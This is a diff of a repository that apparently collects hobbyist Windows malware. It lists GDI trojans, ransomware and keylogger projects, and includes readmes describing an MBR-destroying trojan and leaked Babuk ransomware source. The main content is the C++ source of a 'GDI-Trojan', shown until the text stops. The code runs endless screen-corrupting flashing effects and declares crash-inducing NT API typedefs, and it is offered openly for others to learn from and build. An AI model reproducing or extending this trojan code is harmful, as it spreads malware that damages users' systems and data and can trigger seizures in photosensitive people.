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  1. src/2,3,7,8-Tetrachlorodibenzodioxin-safety/2,3,7,8-Tetrachlorodibenzodioxin-safety.sln +31 -0
  2. src/2,3,7,8-Tetrachlorodibenzodioxin/readme.txt +17 -0
  3. src/APM 08279+5255-safety/APM 08279+5255-safety.sln +31 -0
  4. src/BabukRansomwareSourceCode-main/README.md +2 -0
  5. src/Dead-Fish.exe-by-kapi2.0peys-main/README.md +10 -0
  6. src/Epilepsy2.0/Epilepsy.sln +25 -0
  7. src/GDI-Trojan.Win32.UnunenniumA-main/LICENSE +674 -0
  8. src/GDI-Trojan.Win32.UnunenniumA-main/README.md +27 -0
  9. src/GDI-Trojan.Win32.UnunenniumA-main/UnuneniumA-Source.cpp +384 -0
  10. src/GDI-effects-main/README.md +1 -0
  11. src/GDI-effects-main/hslrotozoomer.cpp +90 -0
  12. src/GDI-effects-main/hslshader1.cpp +99 -0
  13. src/GDI-effects-main/hsvrotozoomer.cpp +87 -0
  14. src/GDI-effects-main/rgbshader.cpp +114 -0
  15. src/GDI-effects-main/shader.cpp +53 -0
  16. src/GDI-effects-main/shader2.cpp +50 -0
  17. src/GDI-effects-main/shader3.cpp +50 -0
  18. src/GDI-effects-main/shader4.cpp +63 -0
  19. src/GDI-effects-main/swirl.cpp +33 -0
  20. src/HighHappy-main/HighHappy.sln +25 -0
  21. src/HighHappy-main/README.md +80 -0
  22. src/Immortal-main/README.md +208 -0
  23. src/J100758.264-211529.207-main/J100758.264+211529.207.dev +62 -0
  24. src/J100758.264-211529.207-main/J100758.264+211529.207.ico +0 -0
  25. src/J100758.264-211529.207-main/J100758.264+211529.207.layout +8 -0
  26. src/J100758.264-211529.207-main/J100758.264+211529.207_private.h +23 -0
  27. src/J100758.264-211529.207-main/J100758.264+211529.207_private.rc +36 -0
  28. src/J100758.264-211529.207-main/J100758.264+211529.207_private.res +0 -0
  29. src/J100758.264-211529.207-main/Makefile.win +33 -0
  30. src/J100758.264-211529.207-main/SORRYASS.ASM +323 -0
  31. src/J100758.264-211529.207-main/SORRYASS.NFO +45 -0
  32. src/J100758.264-211529.207-main/main.cpp +309 -0
  33. src/J100758.264-211529.207-main/readme.txt +16 -0
  34. src/Ketako-main/README.md +23 -0
  35. src/Klog/Klog.sln +25 -0
  36. src/MEMZ/memz +1 -0
  37. src/MOUSEMVD.EXE_SRC/LICENSE +13 -0
  38. src/MOUSEMVD.EXE_SRC/Makefile +26 -0
  39. src/MOUSEMVD.EXE_SRC/mousemvd.c +142 -0
  40. src/MOUSEMVD.EXE_SRC/resource.rc +25 -0
  41. src/MasonRansomware-main/MasonRansomware.cs +11 -0
  42. src/MasonRansomware-main/README.md +8 -0
  43. src/MasonVirusV3-main/MasonVirus.sln +31 -0
  44. src/MasonVirusV3-main/README.md +154 -0
  45. src/NEPOTONOD-master/README.md +2 -0
  46. src/NEPOTONOD-master/nepotonod.sln +31 -0
  47. src/Nitrite-main/LICENSE +674 -0
  48. src/Nitrite-main/README.md +16 -0
  49. src/Nitro-Ransomware-master/NitroRansomware.sln +25 -0
  50. src/Nitro-Ransomware-master/README.md +42 -0
src/2,3,7,8-Tetrachlorodibenzodioxin-safety/2,3,7,8-Tetrachlorodibenzodioxin-safety.sln ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
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+ 
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+ Microsoft Visual Studio Solution File, Format Version 12.00
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+ # Visual Studio Version 17
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+ VisualStudioVersion = 17.5.33424.131
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+ MinimumVisualStudioVersion = 10.0.40219.1
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+ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2,3,7,8-Tetrachlorodibenzodioxin", "2,3,7,8-Tetrachlorodibenzodioxin\2,3,7,8-Tetrachlorodibenzodioxin.vcxproj", "{5DEA96DF-DF15-4364-B17D-ABB64B44461E}"
7
+ EndProject
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+ Global
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+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
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+ Debug|x64 = Debug|x64
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+ Debug|x86 = Debug|x86
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+ Release|x64 = Release|x64
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+ Release|x86 = Release|x86
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+ EndGlobalSection
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+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
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+ {5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Debug|x64.ActiveCfg = Debug|x64
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+ {5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Debug|x64.Build.0 = Debug|x64
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+ {5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Debug|x86.ActiveCfg = Debug|Win32
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+ {5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Debug|x86.Build.0 = Debug|Win32
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+ {5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Release|x64.ActiveCfg = Release|x64
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+ {5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Release|x64.Build.0 = Release|x64
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+ {5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Release|x86.ActiveCfg = Release|Win32
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+ {5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Release|x86.Build.0 = Release|Win32
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+ EndGlobalSection
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+ GlobalSection(SolutionProperties) = preSolution
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+ HideSolutionNode = FALSE
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+ EndGlobalSection
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+ GlobalSection(ExtensibilityGlobals) = postSolution
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+ SolutionGuid = {0A65FF99-BC31-403C-A418-4E2D643D4513}
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+ EndGlobalSection
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+ EndGlobal
src/2,3,7,8-Tetrachlorodibenzodioxin/readme.txt ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
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+ ██████╗ ██████╗ ███████╗ █████╗ ████████╗███████╗████████╗██████╗ █████╗ ██████╗██╗ ██╗██╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗██████╗ ███████╗███╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██████╗ ██╗ ██╗██╗███╗ ██╗ ███████╗██╗ ██╗███████╗
2
+ ╚════██╗ ╚════██╗╚════██║ ██╔══██╗ ╚══██╔══╝██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║██║ ██╔═══██╗██╔══██╗██╔═══██╗██╔══██╗██║██╔══██╗██╔════╝████╗ ██║╚══███╔╝██╔═══██╗██╔══██╗██║██╔═══██╗╚██╗██╔╝██║████╗ ██║ ██╔════╝╚██╗██╔╝██╔════╝
3
+ █████╔╝ █████╔╝ ██╔╝ ╚█████╔╝█████╗██║ █████╗ ██║ ██████╔╝███████║██║ ███████║██║ ██║ ██║██████╔╝██║ ██║██║ ██║██║██████╔╝█████╗ ██╔██╗ ██║ ███╔╝ ██║ ██║██║ ██║██║██║ ██║ ╚███╔╝ ██║██╔██╗ ██║ █████╗ ╚███╔╝ █████╗
4
+ ██╔═══╝ ╚═══██╗ ██╔╝ ██╔══██╗╚════╝██║ ██╔══╝ ██║ ██╔══██╗██╔══██║██║ ██╔══██║██║ ██║ ██║██╔══██╗██║ ██║██║ ██║██║██╔══██╗██╔══╝ ██║╚██╗██║ ███╔╝ ██║ ██║██║ ██║██║██║ ██║ ██╔██╗ ██║██║╚██╗██║ ██╔══╝ ██╔██╗ ██╔══╝
5
+ ███████╗▄█╗██████╔╝▄█╗██║▄█╗╚█████╔╝ ██║ ███████╗ ██║ ██║ ██║██║ ██║╚██████╗██║ ██║███████╗╚██████╔╝██║ ██║╚██████╔╝██████╔╝██║██████╔╝███████╗██║ ╚████║███████╗╚██████╔╝██████╔╝██║╚██████╔╝██╔╝ ██╗██║██║ ╚████║██╗███████╗██╔╝ ██╗███████╗
6
+ ╚══════╝╚═╝╚═════╝ ╚═╝╚═╝╚═╝ ╚════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═╝╚══════╝╚═╝ ╚═╝╚══════╝(aka TCDD.exe) (this ASCII Art looks like crap on Windows 11's stupid updated notepad I know)
7
+
8
+ Malware name: 2,3,7,8-Tetrachlorodibenzodioxin.exe
9
+ type: GDI-Trojan.Win32
10
+ Damage rate: Destructive+
11
+ Made in: C++
12
+ Creator: pankoza
13
+ Creation date: 3 August 2023
14
+
15
+ This is very dangerous for the non-safety version! It will destroy this computer by overwriting MBR
16
+ Credits to ArTicZera and Wipet for the HSL & RGBQUAD
17
+ Credits to ArTicZera and Rekto for the blur effect and pixelating effect
src/APM 08279+5255-safety/APM 08279+5255-safety.sln ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ 
2
+ Microsoft Visual Studio Solution File, Format Version 12.00
3
+ # Visual Studio Version 17
4
+ VisualStudioVersion = 17.7.34221.43
5
+ MinimumVisualStudioVersion = 10.0.40219.1
6
+ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "APM 08279+5255", "APM 08279+5255\APM 08279+5255.vcxproj", "{D599BA9E-1D04-42C3-8647-340C7EB3929E}"
7
+ EndProject
8
+ Global
9
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
10
+ Debug|x64 = Debug|x64
11
+ Debug|x86 = Debug|x86
12
+ Release|x64 = Release|x64
13
+ Release|x86 = Release|x86
14
+ EndGlobalSection
15
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
16
+ {D599BA9E-1D04-42C3-8647-340C7EB3929E}.Debug|x64.ActiveCfg = Debug|x64
17
+ {D599BA9E-1D04-42C3-8647-340C7EB3929E}.Debug|x64.Build.0 = Debug|x64
18
+ {D599BA9E-1D04-42C3-8647-340C7EB3929E}.Debug|x86.ActiveCfg = Debug|Win32
19
+ {D599BA9E-1D04-42C3-8647-340C7EB3929E}.Debug|x86.Build.0 = Debug|Win32
20
+ {D599BA9E-1D04-42C3-8647-340C7EB3929E}.Release|x64.ActiveCfg = Release|x64
21
+ {D599BA9E-1D04-42C3-8647-340C7EB3929E}.Release|x64.Build.0 = Release|x64
22
+ {D599BA9E-1D04-42C3-8647-340C7EB3929E}.Release|x86.ActiveCfg = Release|Win32
23
+ {D599BA9E-1D04-42C3-8647-340C7EB3929E}.Release|x86.Build.0 = Release|Win32
24
+ EndGlobalSection
25
+ GlobalSection(SolutionProperties) = preSolution
26
+ HideSolutionNode = FALSE
27
+ EndGlobalSection
28
+ GlobalSection(ExtensibilityGlobals) = postSolution
29
+ SolutionGuid = {3274DEC5-F868-4331-8BE7-CFD3BA968543}
30
+ EndGlobalSection
31
+ EndGlobal
src/BabukRansomwareSourceCode-main/README.md ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ # Babuk Ransomware Source Code
2
+ Leaked source code of the babuk ransomware by VXUG
src/Dead-Fish.exe-by-kapi2.0peys-main/README.md ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ # :fish:Dead-Fish.exe
2
+ My last GDI Malware
3
+
4
+ Open Source
5
+
6
+ You need .net Framework 4.0 to make it work
7
+
8
+ I am not responsible for the damages.
9
+
10
+ :mending_heart:
src/Epilepsy2.0/Epilepsy.sln ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ 
2
+ Microsoft Visual Studio Solution File, Format Version 12.00
3
+ # Visual Studio Version 16
4
+ VisualStudioVersion = 16.0.31729.503
5
+ MinimumVisualStudioVersion = 10.0.40219.1
6
+ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Epilepsy", "Epilepsy\Epilepsy.csproj", "{6BB4B3AA-88A8-421C-ACDB-3FCB3535D26C}"
7
+ EndProject
8
+ Global
9
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
10
+ Debug|Any CPU = Debug|Any CPU
11
+ Release|Any CPU = Release|Any CPU
12
+ EndGlobalSection
13
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
14
+ {6BB4B3AA-88A8-421C-ACDB-3FCB3535D26C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15
+ {6BB4B3AA-88A8-421C-ACDB-3FCB3535D26C}.Debug|Any CPU.Build.0 = Debug|Any CPU
16
+ {6BB4B3AA-88A8-421C-ACDB-3FCB3535D26C}.Release|Any CPU.ActiveCfg = Release|Any CPU
17
+ {6BB4B3AA-88A8-421C-ACDB-3FCB3535D26C}.Release|Any CPU.Build.0 = Release|Any CPU
18
+ EndGlobalSection
19
+ GlobalSection(SolutionProperties) = preSolution
20
+ HideSolutionNode = FALSE
21
+ EndGlobalSection
22
+ GlobalSection(ExtensibilityGlobals) = postSolution
23
+ SolutionGuid = {5AF595E9-42FC-44B0-BA1A-BA108954D0ED}
24
+ EndGlobalSection
25
+ EndGlobal
src/GDI-Trojan.Win32.UnunenniumA-main/LICENSE ADDED
@@ -0,0 +1,674 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ GNU GENERAL PUBLIC LICENSE
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+ Version 3, 29 June 2007
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+
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+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
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+ Everyone is permitted to copy and distribute verbatim copies
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+ Preamble
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+ The GNU General Public License is a free, copyleft license for
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+ Program, unless a warranty or assumption of liability accompanies a
619
+ copy of the Program in return for a fee.
620
+
621
+ END OF TERMS AND CONDITIONS
622
+
623
+ How to Apply These Terms to Your New Programs
624
+
625
+ If you develop a new program, and you want it to be of the greatest
626
+ possible use to the public, the best way to achieve this is to make it
627
+ free software which everyone can redistribute and change under these terms.
628
+
629
+ To do so, attach the following notices to the program. It is safest
630
+ to attach them to the start of each source file to most effectively
631
+ state the exclusion of warranty; and each file should have at least
632
+ the "copyright" line and a pointer to where the full notice is found.
633
+
634
+ <one line to give the program's name and a brief idea of what it does.>
635
+ Copyright (C) <year> <name of author>
636
+
637
+ This program is free software: you can redistribute it and/or modify
638
+ it under the terms of the GNU General Public License as published by
639
+ the Free Software Foundation, either version 3 of the License, or
640
+ (at your option) any later version.
641
+
642
+ This program is distributed in the hope that it will be useful,
643
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
644
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645
+ GNU General Public License for more details.
646
+
647
+ You should have received a copy of the GNU General Public License
648
+ along with this program. If not, see <https://www.gnu.org/licenses/>.
649
+
650
+ Also add information on how to contact you by electronic and paper mail.
651
+
652
+ If the program does terminal interaction, make it output a short
653
+ notice like this when it starts in an interactive mode:
654
+
655
+ <program> Copyright (C) <year> <name of author>
656
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657
+ This is free software, and you are welcome to redistribute it
658
+ under certain conditions; type `show c' for details.
659
+
660
+ The hypothetical commands `show w' and `show c' should show the appropriate
661
+ parts of the General Public License. Of course, your program's commands
662
+ might be different; for a GUI interface, you would use an "about box".
663
+
664
+ You should also get your employer (if you work as a programmer) or school,
665
+ if any, to sign a "copyright disclaimer" for the program, if necessary.
666
+ For more information on this, and how to apply and follow the GNU GPL, see
667
+ <https://www.gnu.org/licenses/>.
668
+
669
+ The GNU General Public License does not permit incorporating your program
670
+ into proprietary programs. If your program is a subroutine library, you
671
+ may consider it more useful to permit linking proprietary applications with
672
+ the library. If this is what you want to do, use the GNU Lesser General
673
+ Public License instead of this License. But first, please read
674
+ <https://www.gnu.org/licenses/why-not-lgpl.html>.
src/GDI-Trojan.Win32.UnunenniumA-main/README.md ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # 🤔 What is UnunenniumA.exe?
2
+
3
+ UnunenniumA is a Trojan horse designed for Windows XP-11. It uses typedef NTSTATUS to crash the system. (not really it just shows that in the source) And its a short remaster to Ununennium by NotCCR.
4
+
5
+ # ⚠️ Important!!!
6
+ This is a potentially harmful program that can cause your system's death & data loss. This software also displays flashing lights and plays loud sounds, so if you have a photosensitive disease like epilepsy, don't run this or watch any video about it for your security.
7
+
8
+ By running this program, you accept full responsibility for any damages that may occur. So, the creator (SBH a.k.a Stomachbughead) will not be responsible for anything caused by this software. By the way, this was created for educational and entertainment purposes, consequently, don't use it to do malicious acts like sharing with a friend.
9
+
10
+ # 🤔 What is the difference about Ununennium and UnunenniumA?
11
+
12
+ Ununennium (NotCCR) is destructive. His version contains system tools disabling. Destroying the MBR. etc..
13
+
14
+ UnunenniumA on the other hand doesn't disable system tools. Destroy the MBR and more. Its (kinda safe). So run at your own risk.
15
+
16
+ # 🤡 For Skidders!
17
+
18
+ Well, I have seen N17Pro3426 skidding my shaders from 6kals and zip. (shit malwares). and that makes me sad. So, a basic explaining, I made this trojan Open Source to make my subscribers look how it's made a GDI-Trojan and to make people learn GDI basics, NOT FOR SHIT17PRO3426!!!
19
+
20
+ # 🤝 Credits
21
+ NotCCR - The OG Ununennium Creator.
22
+ Comium97 - Helped me with NTSTATUS crasher.
23
+ And thanks to whoever is reading this :D
24
+
25
+
26
+ # 🎬 UnunenniumA Showcase
27
+ SOON...
src/GDI-Trojan.Win32.UnunenniumA-main/UnuneniumA-Source.cpp ADDED
@@ -0,0 +1,384 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h> // the Windows API
2
+ #include <cmath> // trigonometry
3
+ #include <ctime> // time shit
4
+ #include <tchar.h>
5
+ #include <iostream>
6
+ #include <xmmintrin.h> // for the __rdtsc intrinsic
7
+ #pragma comment(lib, "winmm.lib")
8
+ #pragma comment(lib,"Msimg32.lib")
9
+ #define NOTSRCINVERT 0x999999ul
10
+ #define HATCHPAINT 0x1900ac010eul
11
+ typedef NTSTATUS(NTAPI* NRHEdef)(NTSTATUS, ULONG, ULONG, PULONG, ULONG, PULONG);
12
+ typedef NTSTATUS(NTAPI* RAPdef)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
13
+
14
+
15
+ COLORREF GetRandomRainbowSpectrum() {
16
+ int color = rand () % 7;
17
+ if (color == 0) {
18
+ return RGB(255, 0, 0);
19
+ }
20
+ if (color == 1) {
21
+ return RGB(255, 150, 0);
22
+ }
23
+ if (color == 2) {
24
+ return RGB(255, 255, 0);
25
+ }
26
+ if (color == 3) {
27
+ return RGB(0, 255, 0);
28
+ }
29
+ if (color == 4) {
30
+ return RGB(0, 255, 255);
31
+ }
32
+ if (color == 5) {
33
+ return RGB(0, 0, 255);
34
+ }
35
+ if (color == 6) {
36
+ return RGB(255, 0, 255);
37
+ }
38
+ }
39
+
40
+ VOID WINAPI SplitBlt(HDC hdc, int strength, int xSrc, int ySrc, DWORD dwSrcMode) {
41
+ BitBlt(hdc, strength, strength, xSrc/2, ySrc/2, hdc, 0, 0, dwSrcMode);
42
+ BitBlt(hdc, xSrc/2+1, strength, xSrc/2, ySrc/2, hdc, xSrc/2, 0, dwSrcMode);
43
+ BitBlt(hdc, strength, ySrc/2+1, xSrc/2, ySrc/2, hdc, 0, ySrc/2, dwSrcMode);
44
+ BitBlt(hdc, xSrc/2+1, ySrc/2+1, xSrc/2, ySrc/2, hdc, xSrc/2, ySrc/2, dwSrcMode);
45
+ }
46
+
47
+
48
+ DWORD WINAPI Split1(LPVOID lpParam)
49
+ {
50
+ int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
51
+ HDC hdc;
52
+ while (1) {
53
+ hdc = GetDC(0);
54
+ SplitBlt(hdc, -5, w, h, SRCPAINT); // example value
55
+ ReleaseDC(0, hdc);
56
+ Sleep(10);
57
+ }
58
+ }
59
+
60
+
61
+ int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN);
62
+
63
+ DWORD CALLBACK redrawCounter(LPVOID lprdw) {
64
+ Sleep(500);
65
+ InvalidateRect(NULL, 0, 0);
66
+ return 0;
67
+ }
68
+
69
+ DWORD WINAPI SustainEpicPayload(LPVOID lpvoid)
70
+ {
71
+ CreateThread(NULL, 0, redrawCounter, NULL, 0, 0);
72
+ HDC hdc;
73
+ HBRUSH hbsh;
74
+ while (true) {
75
+ hdc = GetDC(0);
76
+ hbsh = CreateSolidBrush(PALETTERGB(rand() % 239, rand() % 239, rand() % 239));
77
+ StretchBlt(hdc, -5, -5, w+10, h+10, hdc, 0, 0, w, h, SRCINVERT);
78
+ StretchBlt(hdc, 5, 5, w-10, h-10, hdc, 0, 0, w, h, SRCCOPY);
79
+ BitBlt(hdc, rand() % 10, rand() % 10, w, h, hdc, rand() % 10, rand() % 10, SRCCOPY);
80
+ SelectObject(hdc, hbsh);
81
+ PatBlt(hdc, 0, 0, w, h, PATINVERT);
82
+ DeleteObject(hbsh);
83
+ ReleaseDC(0, hdc);
84
+ Sleep(10);
85
+ }
86
+ }
87
+
88
+
89
+
90
+ DWORD WINAPI SrcpaintDisp(LPVOID lpvoid)
91
+ {
92
+ HDC hdc;
93
+ double dispangle = 0;
94
+ while (true) {
95
+ hdc = GetDC(0);
96
+ for (FLOAT a = 0; a < w+h; a += 0.9f) {
97
+ int v = cos(dispangle) * 3;
98
+ BitBlt(hdc, 0, a, w, h, hdc, v, a, SRCAND);
99
+ dispangle += M_PI / 5;
100
+ }
101
+ ReleaseDC(0, hdc);
102
+ Sleep(10);
103
+ }
104
+ }
105
+
106
+ DWORD WINAPI Bounce(LPVOID lpvoid)
107
+ {
108
+ HDC hdc;
109
+ HPEN hp;
110
+ int sx = 1, sy = 1, sx1 = 1, sy1 = 1;
111
+ int incrementation = 10;
112
+ int x = 10, y = 10;
113
+ while (1) {
114
+ hdc = GetDC(0);
115
+ x += incrementation * sx;
116
+ y += incrementation * sy;
117
+ POINT opt[4] = {{360, y}, {x, y}, {50, 178}};
118
+ hp = CreatePen(PS_SOLID, rand() % 5 + 10, GetRandomRainbowSpectrum());
119
+ SelectObject(hdc, hp);
120
+ PolyBezier(hdc, opt, 4);
121
+ if (y >= GetSystemMetrics(1)) {
122
+ sy = -1;
123
+ }
124
+ if (x >= GetSystemMetrics(0)) {
125
+ sx = -1;
126
+ }
127
+ if (y == 0) {
128
+ sy = 1;
129
+ }
130
+ if (x == 0) {
131
+ sx = 1;
132
+ }
133
+ DeleteObject(hp);
134
+ ReleaseDC(0, hdc);
135
+ Sleep(10);
136
+ }
137
+ }
138
+
139
+ DWORD WINAPI anglezoomer(LPVOID lpvd)
140
+ {
141
+ HDC hdc;
142
+ while (true) {
143
+ hdc = GetDC(0);
144
+ StretchBlt(hdc, -10, -10, w+20, h+20, hdc, 0, 0, w-10, h-10, NOTSRCINVERT);
145
+ ReleaseDC(0, hdc);
146
+ Sleep(10);
147
+ }
148
+ }
149
+
150
+ DWORD WINAPI gradienttriangle(LPVOID lpvd)
151
+ { // you must link the msimg32 library (or must you)
152
+ HDC hdc = GetDC(0);
153
+ while (1) {
154
+ TRIVERTEX vtx[3];
155
+ vtx[0].x = rand () % w; vtx[0].y = rand () % h;
156
+ vtx[1].x = rand () % w; vtx[1].y = rand () % h;
157
+ vtx[2].x = rand () % w; vtx[2].y = rand () % h;
158
+ vtx[0].Red = 0xff00; vtx[0].Green = 0xff00; vtx[0].Blue = 0; vtx[0].Alpha = 0xff00;
159
+ vtx[1].Red = 0; vtx[1].Green = 0xff00; vtx[1].Blue = 0xff00; vtx[1].Alpha = 0xff00;
160
+ vtx[2].Red = 0xff00; vtx[2].Green = 20; vtx[2].Blue = 0xff00; vtx[2].Alpha = 0xff00;
161
+ GRADIENT_TRIANGLE gt;
162
+ gt.Vertex1 = 0;
163
+ gt.Vertex2 = 1; gt.Vertex3 = 2;
164
+ GradientFill(hdc, vtx, 4, &gt, 1, GRADIENT_FILL_TRIANGLE);
165
+ Sleep(10);
166
+ }
167
+ }
168
+
169
+ DWORD WINAPI trigonshake(LPVOID lpvd)
170
+ {
171
+ HDC hdc;
172
+ double angle = 0.0;
173
+ int xadd, yadd; // x angle and y angle
174
+ while (1) {
175
+ hdc = GetDC(NULL);
176
+ xadd = cos(angle) * 10, yadd = sin(angle) * 10;
177
+ BitBlt(hdc, xadd, yadd, w, h, hdc, 0, 0, SRCAND);
178
+ angle += M_PI / 8;
179
+ ReleaseDC(NULL, hdc);
180
+ Sleep(10);
181
+ }
182
+ }
183
+
184
+ DWORD WINAPI melt(LPVOID lpvoid)
185
+ {
186
+ HDC hdc;
187
+ int rw;
188
+ while (true) {
189
+ hdc = GetDC(0);
190
+ rw = rand() % w;
191
+ int rh = rand() % h;
192
+ BitBlt(hdc, rw, rand() % 20 - 10, 100, h, hdc, rw, 0, SRCAND);
193
+ BitBlt(hdc, rand() % 20 - 10, rh, w, 100, hdc, 0, rh, SRCAND);
194
+ ReleaseDC(0, hdc);
195
+ Sleep(10);
196
+ }
197
+ }
198
+
199
+ DWORD WINAPI setshake(LPVOID lpvoid)
200
+ {
201
+ HDC hdc;
202
+ while (true) {
203
+ hdc = GetDC(0);
204
+ BitBlt(hdc, rand() % 20, rand() % 20, w, h, hdc, rand() % 20, rand() % 20, SRCCOPY);
205
+ ReleaseDC(0, hdc);
206
+ Sleep(10);
207
+ }
208
+ }
209
+
210
+ DWORD WINAPI patstatic(LPVOID lpvoid)
211
+ {
212
+ HDC hdc, mdc;
213
+ HBRUSH hpat;
214
+ while (true) {
215
+ hdc = GetDC(0), mdc = CreateCompatibleDC(hdc);
216
+ hpat = CreateSolidBrush(RGB(rand() % 255, rand() % 255, rand() % 255));
217
+ HBITMAP hbit = CreateCompatibleBitmap(hdc, w, h);
218
